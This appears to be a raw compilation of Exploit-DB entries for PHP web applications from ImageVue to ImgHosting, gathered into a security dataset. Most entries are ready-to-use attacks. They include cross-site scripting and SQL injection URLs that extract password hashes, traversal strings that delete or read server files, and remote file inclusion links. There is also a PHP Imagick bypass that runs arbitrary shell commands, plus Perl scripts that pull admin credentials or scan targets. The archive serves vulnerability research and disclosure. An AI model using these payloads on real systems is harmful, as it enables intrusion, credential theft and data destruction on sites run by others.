deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27197
Description: ImageVue 0.16.1 - 'dir.php' Folder Permission Disclosure
Type: webapps
Platform: php
Date: 2006-02-11
Author: zjieb

Exploit:
source: https://www.securityfocus.com/bid/16594/info

ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.

Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/dir.php
An XML-document is shown containing all folders and their permissions.
Exploit-DB #27199
Description: ImageVue 0.16.1 - 'index.php?bgcol' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-11
Author: zjieb

Exploit:
source: https://www.securityfocus.com/bid/16594/info
  
ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.
  
Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/index.php?bgcol=[input]
Exploit-DB #27198
Description: ImageVue 0.16.1 - 'readfolder.php?path' Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2006-02-11
Author: zjieb

Exploit:
source: https://www.securityfocus.com/bid/16594/info
 
ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.
 
Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/readfolder.php?path=[path]&ext=[extension]
Exploit-DB #27200
Description: ImageVue 0.16.1 - 'upload.php' Unrestricted Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-02-11
Author: zjieb

Exploit:
source: https://www.securityfocus.com/bid/16594/info
   
ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection.
   
Successful exploitation could allow attackers to upload and possibly execute malicious files, gain access to restrict areas of the site, or inject hostile content into the site.

http://www.example.com/admin/upload.php?path=../[foldername]
Now you're ready to upload any file.
Exploit-DB #31353
Description: ImageVue 1.7 - 'dir2.php?path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-07
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28138/info
 
Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/test/dir2.php?path="><script>alert("xss")</script>
Exploit-DB #31355
Description: ImageVue 1.7 - 'dirxml.php?path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-07
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28138/info
   
Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/dirxml.php?path="><script>alert("xss")</script>
Exploit-DB #31352
Description: ImageVue 1.7 - 'popup.php?path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-07
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28138/info

Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/popup.php?path="><script>alert("xss")</script>
Exploit-DB #31354
Description: ImageVue 1.7 - 'upload.php?path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-07
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28138/info
  
Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/admin/upload.php?path="><script>alert("xss")</script>
Exploit-DB #33452
Description: Imagevue r16 - 'amount' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37557/info

Imagevue is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Imagevue r16 is vulnerable; other versions may also be affected. 

http://www.example.com/upload/admin/upload.php?amount=<img+src=http://127.0.0.1/dot.gif+onload=alert[PII_REDACTED]60)>&path=hacked%20by%20indoushka
Exploit-DB #29775
Description: Image_Upload Script 2.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-03-26
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/23132/info

Image_Upload Script is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.0 is vulnerable to these issues. 

http://www.example.com/imageupload_path/login.php?AD_BODY_TEMP=Shell?
http://www.example.com/imageupload_path/frontpage.php?AD_BODY_TEMP=Shell?
http://www.example.com/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell?
Exploit-DB #39766
Description: Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass
Type: webapps
Platform: php
Date: 2016-05-04
Author: RicterZ

Exploit:
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick  <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04

# Exploit:

<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";

$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;

file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();

echo file_get_contents($data_file);
?>
Exploit-DB #14426
Description: Imagine-cms 2.50 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-21
Author: Metropolis

Exploit:
#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version :  2.50
# 
# Bug Type : SQL Injection
#
# Found by : Metropolis 
# 
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app : 
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&id_cat=2
# 
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- Author: Metropolis\r\n";
  print "- Imagine-cms <= 2.50 Remote SQL Injection Exploit\r\n";
}
sub usage()
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> ex: /\r\n";
  exit();
}
sub exploit ()
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http:\/\/)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "index.php?page=commentaire&idnews=";
  $spxp     = "-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserver\r\n";
  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";
  print $sp "GET $spreq HTTP/1.1\n";
  print $sp "Accept: */*\n";
  print $sp "Referer: $sphost\n";
  print $sp "Accept-Language: tr\n";
  print $sp "User-Agent: NukeZilla\n";
  print $sp "Cache-Control: no-cache\n";
  print $sp "Host: $spserver\n";
  print $sp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$sp>) {
    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}
Exploit-DB #11002
Description: ImagoScripts Deviant Art Clone - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-04
Author: alnjm33

Exploit:
Exploit Title:ImagoScripts Deviant Art Clone SQL Injection Vulnerability
Date: 4/1/2010
Author: alnjm33
Software Link: http://imagoscripts.com/index.php?act=viewProd&productId=2 it cost 50$ :)
________________________
first join in site
site/path/index.php?mode=join
then log in
and this is exploit
site/path//index.php?mode=forums&act=viewcat&seid=-1/**/union/**/select 1,version(),3,4--
Exploit-DB #17852
Description: iManager Plugin 1.2.8 - 'd' Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2011-09-17
Author: LiquidWorm

Exploit:
iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.2.8 Build 02012008

Summary: With iManager you can manage your files/images on your webserver,
and it provides user interface to most of the phpThumb() functions. It works
either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW,
htmlAREA, Xinha and FCKeditor.

Desc: Input passed to the 'd' parameter in /scripts/phpCrop/crop.php is not
properly sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server via directory traversal
sequences passed within the 'd' parameter.


======================================================================
/scripts/phpCrop/crop.php:
----------------------------------------------------------------------

32: if( isset($_REQUEST['s']) ) {
33:     //delete previous temp files		
34:     $matches = glob($d . '{*.jpg,*.JPG}', GLOB_BRACE);		
35:     if ( is_array ( $matches ) ) {
36:          foreach ( $matches as $fn) {
37:               @unlink($fn);	
38:          }
39: }

======================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5043
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5043.php


15.09.2011

--


http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/phpCrop/crop.php?s=1&d=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftest.txt%00
Exploit-DB #17851
Description: iManager Plugin 1.2.8 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-09-17
Author: LiquidWorm

Exploit:
iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.2.8 Build 02012008

Summary: With iManager you can manage your files/images on your webserver,
and it provides user interface to most of the phpThumb() functions. It works
either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW,
htmlAREA, Xinha and FCKeditor.

Desc: iManager suffers from a file inlcusion vulnerability (LFI) / file
disclosure vulnerability (FD) when input passed thru the 'lang' parameter
to imanager.php, rfiles.php, symbols.php, colorpicker.php, loadmsg.php,
ov_rfiles.php and examples.php is not properly verified before being used
to include files. This can be exploited to include files from local resources
with directory traversal attacks and URL encoded NULL bytes.


======================================================================
/langs/lang.class.php:
----------------------------------------------------------------------

67: function loadData() {
68:    global $cfg;
69:    include( dirname(__FILE__) . '/' . $this -> lang.'.php' );
70:    $this -> charset = $lang_charset;
71:    $this -> dir = $lang_direction;
72:    $this -> lang_data = $lang_data;
73:    unset( $lang_data );
74:    include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );
75:    $this -> default_lang_data = $lang_data;
76: }

======================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5042
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5042.php


15.09.2011

--

http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/imanager.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/colorpicker.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/ov_rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/images/examples/examples.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
Exploit-DB #12665
Description: IMEDIA - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-20
Author: kannibal615

Exploit:
# Exploit Titre: IMEDIA (index.php) SQL Injection Vulnerability
# Date: 19-05-2010
# Auteur: Kannibal615
# Link Software: N/A
# Version: N/A
# Testé sur: ALL
# CVE: N/A
# Code: 

# DORK : Powered by: Con-Imedia


#!usr/bin/perl -w

use HTTP::Request;
use LWP::UserAgent;

system ("cls");
print "\n";
print "  @@    @@  @@@@@@     @@    @@    @@@@    @@@@@@@  @@  @@   @@@@@@@  @@@@@\n";
print "  @@    @@  @@   @@    @@    @@   @@  @@   @@       @@ @@    @@       @@   @@\n";
print "  @@    @@  @@ @@@     @@@@@@@@  @@    @@  @@       @@@@     @@@@@@   @@   @@\n";
print "   @@  @@   @@ @@@     @@@@@@@@  @@@@@@@@  @@       @@ @@    @@@@@@   @@ @@\n";
print "    @@@@    @@   @@    @@    @@  @@    @@  @@       @@  @@   @@       @@   @@\n";
print "     @@     @@@@@@     @@    @@  @@    @@  @@@@@@@  @@   @@  @@@@@@@  @@    @@\n\n";
print "                  LA ILAH ILLA ALLAH MOUHAMED RASOUL ALLAH\n\n";
print "\n\n";
print "[*]Coded By: Kannibal615 > Tunisian Genius Security > zn[at]live[dot]de\n\n";
print "[*]Greetz 1: My Best Friend AYMEN > THE P!RATOR\n";
print '[*]Greetz 2: Pc-InseCt/alghaking/emptyzero/V!Ru$_T4ckJ3n';
print "\n[*]Greetz 3: To All VBHACKER.NET Members\n";
print "[*]Dork    : Powered by: Con-Imedia\n";
print "[*]Usage   : k615>[target here]\n";
print "[*]Exemple : k615> www.target.com\n";
print "\n";
print "k615>";

$input=<>;
chomp $input;

if ( $input !~ /^http:/ ) {
$input = 'http://' . $input;
}
if ( $input !~ /\/$/ ) {
$input = $input . '/';
}


@path=('index1.php?linkid=999.9"','index1.php?sublinkid=999.9"','index1.php?linkid=&sublink=999.9"',
'index2.php?linkid=999.9"','index3.php?day=999.9"');

foreach $ways(@path){

$final=$input.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /sql/ ||
$response->content =~ /SQL error/ ||
$response->content =~ /SQL/ ||
$response->content =~ /syntax/ ||
$response->content =~ /Invalid query/ ||
$response->content =~ /your SQL/ ||
$response->content =~ /MySQL/ ||
$response->content =~ /at line 1/ ||
$response->content =~ /MySQL server/ ||
$response->content =~ /version for/ ||
$response->content =~ /Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near/ ||
$response->content =~ /fetch/
){
print "[+] Vulnerable -> $final\n";
}
else{
print "[-] Not Vulner <- $final\n";
}
}
print "\n\nSOBHAN ALLAH\n";
print "press enter to exit";
$enter=<>;




#db-exploit 19-05-2010
#Coded By Kannibal615
#Tunisian Genius Security
Exploit-DB #10690
Description: IMG2ASCII - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : IMG2ASCII Cross Site Scripting Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10690                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : IMG2ASCII &#65533; Ueli Weiss (mailto:gweilo83@hotmail.com)                    |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://localhost/img2ascii/install.php?dbhost=DZ-ghost-Team&dbbase=Algeria-Hackerz&dbcreate=on&dbuser=1%00"'><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&dbpass=Hacked-by-indoushka&send=Install
| 2- http://localhost/img2ascii/ascii.php/1"+onmouseover=alert[PII_REDACTED]60)+
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #5631
Description: IMGallery 2.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-15
Author: cOndemned

Exploit:
Name       : IMGallery 2.5 Multiply Remote SQL Injection Vulnerabilities
Author     : cOndemned
Conditions : magic_quotes_gpc = off ;/
Greetz     : irk4z, GregStar, ZaBeaTy, d3d!k, #CodersWorld, #gathering and Avantura ;***


http://[attacked_box]/[imgallery]/galeria.php?start=0&kategoria='+union+select+haslo,2,3+from+imgallery_hasla/*
http://[attacked_box]/[imgallery]/popup/koment.php?id_phot='-1+union+select+1,2,3,4,haslo+from+imgallery_hasla/*
http://[attacked_box]/[imgallery]/popup/opis.php?id_phot='+union+select+haslo+from+imgallery_hasla/*

# milw0rm.com [2008-05-15]
Exploit-DB #43567
Description: ImgHosting 1.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-01-15
Author: Dennis Veninga

Exploit:
# Exploit Title: ImgHosting Image Storage System 1.5 - Cross-Site-Scripting
# Date: 12-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: foxsash.com
# Version: 1.5
# CVE-ID: CVE-2018-5479

ImgHosting – Image Storage System quick and easy image hosting without
registration. Service is ideal for fast and reliable placement of images
for forums, blogs and websites. Simple design, comfortable customers,
direct links to pictures. This hosting service that we do every day use.
Like thousands of other people. We do service to the people.

ImgHosting 1.5 (According footer information) is vulnerable to XSS attacks.
The affected function is its search engine. Since there is an user/admin
login interface, it's possible for attackers to steal sessions of users and
thus admin(s). By sending users an infected URL, code will be executed.

---------------------------
---------------------------
PoC:

http://{TARGET}/?search="><script>confirm(document.domain)<%2Fscript>
---------------------------
---------------------------

Evil javascript code can be inserted and will be executed when visiting the link